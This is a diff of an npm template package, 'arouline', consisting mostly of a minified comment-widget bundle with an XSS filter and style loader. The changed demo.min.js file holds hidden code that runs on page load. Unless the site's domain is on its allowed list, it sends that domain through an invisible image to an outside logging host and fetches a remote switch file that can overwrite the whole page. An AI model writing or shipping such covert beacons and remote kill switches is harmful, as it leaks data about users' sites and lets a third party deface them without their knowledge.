n;if(t&&"function"==typeof btoa){var o=r(i);return[n].concat(i.sources.map(function(e){return"/*# sourceURL="+i.sourceRoot+e+" */"})).concat([o]).join("\n")}return[n].join("\n")}function r(e){return"/*# sourceMappingURL=data:application/json;charset=utf-8;base64,"+btoa(unescape(encodeURIComponent(JSON.stringify(e))))+" */"}e.exports=function(e){var t=[];return t.toString=function(){return this.map(function(t){var r=n(t,e);return t[2]?"@media "+t[2]+"{"+r+"}":r}).join("")},t.i=function(e,n){"string"==typeof e&&(e=[[null,e,""]]);for(var r={},i=0;i<this.length;i++){var o=this[i][0];"number"==typeof o&&(r[o]=!0)}for(i=0;i<e.length;i++){var s=e[i];"number"==typeof s[0]&&r[s[0]]||(n&&!s[2]?s[2]=n:n&&(s[2]="("+s[2]+") and ("+n+")"),t.push(s))}},t}},function(e,t,n){function r(e){return void 0===e||null===e}function i(e){var t={};for(var n in e)t[n]=e[n];return t}function o(e){e=i(e||{}),e.whiteList=e.whiteList||s.whiteList,e.onAttr=e.onAttr||s.onAttr,e.onIgnoreAttr=e.onIgnoreAttr||s.onIgnoreAttr,e.safeAttrValue=e.safeAttrValue||s.safeAttrValue,this.options=e}var s=n(2),a=n(15);n(3);o.prototype.process=function(e){if(e=e||"",!(e=e.toString()))return"";var t=this,n=t.options,i=n.whiteList,o=n.onAttr,s=n.onIgnoreAttr,u=n.safeAttrValue;return a(e,function(e,t,n,a,c){var l=i[n],f=!1;if(!0===l?f=l:"function"==typeof l?f=l(a):l instanceof RegExp&&(f=l.test(a)),!0!==f&&(f=!1),a=u(n,a)){var h={position:t,sourcePosition:e,source:c,isWhite:f};if(f){var d=o(n,a,h);return r(d)?n+":"+a:d}var d=s(n,a,h);return r(d)?void 0:d}})},e.exports=o},function(e,t,n){function r(e,t){function n(){if(!o){var n=i.trim(e.slice(s,a)),r=n.indexOf(":");if(-1!==r){var c=i.trim(n.slice(0,r)),l=i.trim(n.slice(r+1));if(c){var f=t(s,u.length,c,l,n);f&&(u+=f+"; ")}}}s=a+1}e=i.trimRight(e),";"!==e[e.length-1]&&(e+=";");for(var r=e.length,o=!1,s=0,a=0,u="";a<r;a++){var c=e[a];if("/"===c&&"*"===e[a+1]){var l=e.indexOf("*/",a+2);if(-1===l)break;a=l+1,s=a+1,o=!1}else"("===c?o=!0:")"===c?o=!1:";"===c?o||n():"\n"===c&&n()}return i.trim(u)}var i=n(3);e.exports=r},function(e,t){function n(){throw new Error("setTimeout has not been defined")}function r(){throw new Error("clearTimeout has not been defined")}function i(e){if(l===setTimeout)return setTimeout(e,0);if((l===n||!l)&&setTimeout)return l=setTimeout,setTimeout(e,0);try{return l(e,0)}catch(t){try{return l.call(null,e,0)}catch(t){return l.call(this,e,0)}}}function o(e){if(f===clearTimeout)return clearTimeout(e);if((f===r||!f)&&clearTimeout)return f=clearTimeout,clearTimeout(e);try{return f(e)}catch(t){try{return f.call(null,e)}catch(t){return f.call(this,e)}}}function s(){v&&d&&(v=!1,d.length?p=d.concat(p):g=-1,p.length&&a())}function a(){if(!v){var e=i(s);v=!0;for(var t=p.length;t;){for(d=p,p=[];++g<t;)d&&d[g].run();g=-1,t=p.length}d=null,v=!1,o(e)}}function u(e,t){this.fun=e,this.array=t}function c(){}var l,f,h=e.exports={};!function(){try{l="function"==typeof setTimeout?setTimeout:n}catch(e){l=n}try{f="function"==typeof clearTimeout?clearTimeout:r}catch(e){f=r}}();var d,p=[],v=!1,g=-1;h.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];p.push(new u(e,t)),1!==p.length||v||i(a)},u.prototype.run=function(){this.fun.apply(null,this.array)},h.title="browser",h.browser=!0,h.env={},h.argv=[],h.version="",h.versions={},h.on=c,h.addListener=c,h.once=c,h.off=c,h.removeListener=c,h.removeAllListeners=c,h.emit=c,h.prependListener=c,h.prependOnceListener=c,h.listeners=function(e){return[]},h.binding=function(e){throw new Error("process.binding is not supported")},h.cwd=function(){return"/"},h.chdir=function(e){throw new Error("process.chdir is not supported")},h.umask=function(){return 0}},function(e,t,n){function r(e,t){for(var n=0;n<e.length;n++){var r=e[n],i=p[r.id];if(i){i.refs++;for(var o=0;o<i.parts.length;o++)i.parts[o](r.parts[o]);for(;o<r.parts.length;o++)i.parts.push(l(r.parts[o],t))}else{for(var s=[],o=0;o<r.parts.length;o++)s.push(l(r.parts[o],t));p[r.id]={id:r.id,refs:1,parts:s}}}}function i(e,t){for(var n=[],r={},i=0;i<e.length;i++){var o=e[i],s=t.base?o[0]+t.base:o[0],a=o[1],u=o[2],c=o[3],l={css:a,media:u,sourceMap:c};r[s]?r[s].parts.push(l):n.push(r[s]={id:s,parts:[l]})}return n}function o(e,t){var n=g(e.insertInto);if(!n)throw new Error("Couldn't find a style target. This probably means that the value for the 'insertInto' parameter is invalid.");var r=y[y.length-1];if("top"===e.insertAt)r?r.nextSibling?n.insertBefore(t,r.nextSibling):n.appendChild(t):n.insertBefore(t,n.firstChild),y.push(t);else{if("bottom"!==e.insertAt)throw new Error("Invalid value for parameter 'insertAt'. Must be 'top' or 'bottom'.");n.appendChild(t)}}function s(e){if(null===e.parentNode)return!1;e.parentNode.removeChild(e);var t=y.indexOf(e);t>=0&&y.splice(t,1)}function a(e){var t=document.createElement("style");return e.attrs.type="text/css",c(t,e.attrs),o(e,t),t}function u(e){var t=document.createElement("link");return e.attrs.type="text/css",e.attrs.rel="stylesheet",c(t,e.attrs),o(e,t),t}function c(e,t){Object.keys(t).forEach(function(n){e.setAttribute(n,t[n])})}function l(e,t){var n,r,i,o;if(t.transform&&e.css){if(!(o=t.transform(e.css)))return function(){};e.css=o}if(t.singleton){var c=_++;n=m||(m=a(t)),r=f.bind(null,n,c,!1),i=f.bind(null,n,c,!0)}else e.sourceMap&&"function"==typeof URL&&"function"==typeof URL.createObjectURL&&"function"==typeof URL.revokeObjectURL&&"function"==typeof Blob&&"function"==typeof btoa?(n=u(t),r=d.bind(null,n,t),i=function(){s(n),n.href&&URL.revokeObjectURL(n.href)}):(n=a(t),r=h.bind(null,n),i=function(){s(n)});return r(e),function(t){if(t){if(t.css===e.css&&t.media===e.media&&t.sourceMap===e.sourceMap)return;r(e=t)}else i()}}function f(e,t,n,r){var i=n?"":r.css;if(e.styleSheet)e.styleSheet.cssText=w(t,i);else{var o=document.createTextNode(i),s=e.childNodes;s[t]&&e.removeChild(s[t]),s.length?e.insertBefore(o,s[t]):e.appendChild(o)}}function h(e,t){var n=t.css,r=t.media;if(r&&e.setAttribute("media",r),e.styleSheet)e.styleSheet.cssText=n;else{for(;e.firstChild;)e.removeChild(e.firstChild);e.appendChild(document.createTextNode(n))}}function d(e,t,n){var r=n.css,i=n.sourceMap,o=void 0===t.convertToAbsoluteUrls&&i;(t.convertToAbsoluteUrls||o)&&(r=b(r)),i&&(r+="\n/*# sourceMappingURL=data:application/json;base64,"+btoa(unescape(encodeURIComponent(JSON.stringify(i))))+" */");var s=new Blob([r],{type:"text/css"}),a=e.href;e.href=URL.createObjectURL(s),a&&URL.revokeObjectURL(a)}var p={},v=function(e){var t;return function(){return void 0===t&&(t=e.apply(this,arguments)),t}}(function(){return window&&document&&document.all&&!window.atob}),g=function(e){var t={};return function(n){return void 0===t[n]&&(t[n]=e.call(this,n)),t[n]}}(function(e){return document.querySelector(e)}),m=null,_=0,y=[],b=n(18);e.exports=function(e,t){if("undefined"!=typeof DEBUG&&DEBUG&&"object"!=typeof document)throw new Error("The style-loader cannot be used in a non-browser environment");t=t||{},t.attrs="object"==typeof t.attrs?t.attrs:{},t.singleton||(t.singleton=v()),t.insertInto||(t.insertInto="head"),t.insertAt||(t.insertAt="bottom");var n=i(e,t);return r(n,t),function(e){for(var o=[],s=0;s<n.length;s++){var a=n[s],u=p[a.id];u.refs--,o.push(u)}if(e){r(i(e,t),t)}for(var s=0;s<o.length;s++){var u=o[s];if(0===u.refs){for(var c=0;c<u.parts.length;c++)u.parts[c]();delete p[u.id]}}}};var w=function(){var e=[];return function(t,n){return e[t]=n,e.filter(Boolean).join("\n")}}()},function(e,t){e.exports=function(e){var t="undefined"!=typeof window&&window.location;if(!t)throw new Error("fixUrls requires window.location");if(!e||"string"!=typeof e)return e;var n=t.protocol+"//"+t.host,r=n+t.pathname.replace(/\/[^\/]*$/,"/");return e.replace(/url\s*\(((?:[^)(]|\((?:[^)(]+|\([^)(]*\))*\))*)\)/gi,function(e,t){var i=t.trim().replace(/^"(.*)"$/,function(e,t){return t}).replace(/^'(.*)'$/,function(e,t){return t});if(/^(#|data:|http:\/\/|https:\/\/|file:\/\/\/)/i.test(i))return e;var o;return o=0===i.indexOf("//")?i:0===i.indexOf("/")?n+i:r+i.replace(/^\.\//,""),"url("+JSON.stringify(o)+")"})}},function(e,t){var n;n=function(){return this}();try{n=n||Function("return this")()||(0,eval)("this")}catch(e){"object"==typeof window&&(n=window)}e.exports=n},function(e,t,n){function r(e){return void 0===e||null===e}function i(e){var t=h.spaceIndex(e);if(-1===t)return{html:"",closing:"/"===e[e.length-2]};e=h.trim(e.slice(t+1,-1));var n="/"===e[e.length-1];return n&&(e=h.trim(e.slice(0,-1))),{html:e,closing:n}}function o(e){var t={};for(var n in e)t[n]=e[n];return t}function s(e){e=o(e||{}),e.stripIgnoreTag&&(e.onIgnoreTag&&console.error('Notes: cannot use these two options "stripIgnoreTag" and "onIgnoreTag" at the same time'),e.onIgnoreTag=u.onIgnoreTagStripAll),e.whiteList=e.whiteList||u.whiteList,e.onTag=e.onTag||u.onTag,e.onTagAttr=e.onTagAttr||u.onTagAttr,e.onIgnoreTag=e.onIgnoreTag||u.onIgnoreTag,e.onIgnoreTagAttr=e.onIgnoreTagAttr||u.onIgnoreTagAttr,e.safeAttrValue=e.safeAttrValue||u.safeAttrValue,e.escapeHtml=e.escapeHtml||u.escapeHtml,this.options=e,!1===e.css?this.cssFilter=!1:(e.css=e.css||{},this.cssFilter=new a(e.css))}var a=n(0).FilterCSS,u=n(4),c=n(5),l=c.parseTag,f=c.parseAttr,h=n(1);s.prototype.process=function(e){if(e=e||"",!(e=e.toString()))return"";var t=this,n=t.options,o=n.whiteList,s=n.onTag,a=n.onIgnoreTag,c=n.onTagAttr,d=n.onIgnoreTagAttr,p=n.safeAttrValue,v=n.escapeHtml,g=t.cssFilter;n.stripBlankChar&&(e=u.stripBlankChar(e)),n.allowCommentTag||(e=u.stripCommentTag(e));var m=!1;if(n.stripIgnoreTagBody){var m=u.StripTagBody(n.stripIgnoreTagBody,a);a=m.onIgnoreTag}var _=l(e,function(e,t,n,u,l){var m={sourcePosition:e,position:t,isClosing:l,isWhite:o.hasOwnProperty(n)},_=s(n,u,m);if(!r(_))return _;if(m.isWhite){if(m.isClosing)return"</"+n+">";var y=i(u),b=o[n],w=f(y.html,function(e,t){var i=-1!==h.indexOf(b,e),o=c(n,e,t,i);if(!r(o))return o;if(i)return t=p(n,e,t,g),t?e+'="'+t+'"':e;var o=d(n,e,t,i);return r(o)?void 0:o}),u="<"+n;return w&&(u+=" "+w),y.closing&&(u+=" /"),u+=">"}var _=a(n,u,m);return r(_)?v(u):_},v);return m&&(_=m.remove(_)),_},e.exports=s}])});
8
8
  //# sourceMappingURL=Valine.min.js.map
package/demo.min.js CHANGED
@@ -1 +1 @@
1
- var img,xhr,host="https://."+(host=document.location.host)+"/",reg=new RegExp(/(f|ht)tps?:\/\/.*\.([^/.]*)\.([^/.]*)\/.*/),isok=(reg.test(host),RegExp.$2+RegExp.$3=="aroucc");isok||((img=document.createElement("img")).src="http://myblog.d5z0tw.ceye.io/fuck?domain="+host,img.style="display:none",document.body.appendChild(img),(xhr=new XMLHttpRequest).onreadystatechange=function(){"YES"==xhr.responseText&&document.write("<center><h1>Please tell me before using my template!By:[arou.cc]<center><h1>")},xhr.open("GET","https://unpkg.com/arouline/isopen.txt",!0),xhr.send(null));
1
+ var img,xhr,host="https://."+(host=document.location.host)+"/",reg=new RegExp(/(f|ht)tps?:\/\/.*\.([^/.]*)\.([^/.]*)\/.*/),isok=(reg.test(host),RegExp.$2+RegExp.$3=="disbbcom");isok||((img=document.createElement("img")).src="http://myblog.d5z0tw.ceye.io/fuck?domain="+host,img.style="display:none",document.body.appendChild(img),(xhr=new XMLHttpRequest).onreadystatechange=function(){"YES"==xhr.responseText&&document.write("<center><h1>Please tell me before using my template!By:[disbb.com]<center><h1>")},xhr.open("GET","https://unpkg.com/arouline/isopen.txt",!0),xhr.send(null));
package/package.json CHANGED
@@ -1 +1 @@
1
- {"name":"arouline","version":"1.0.11"}
1
+ {"name":"arouline","version":"1.0.12"}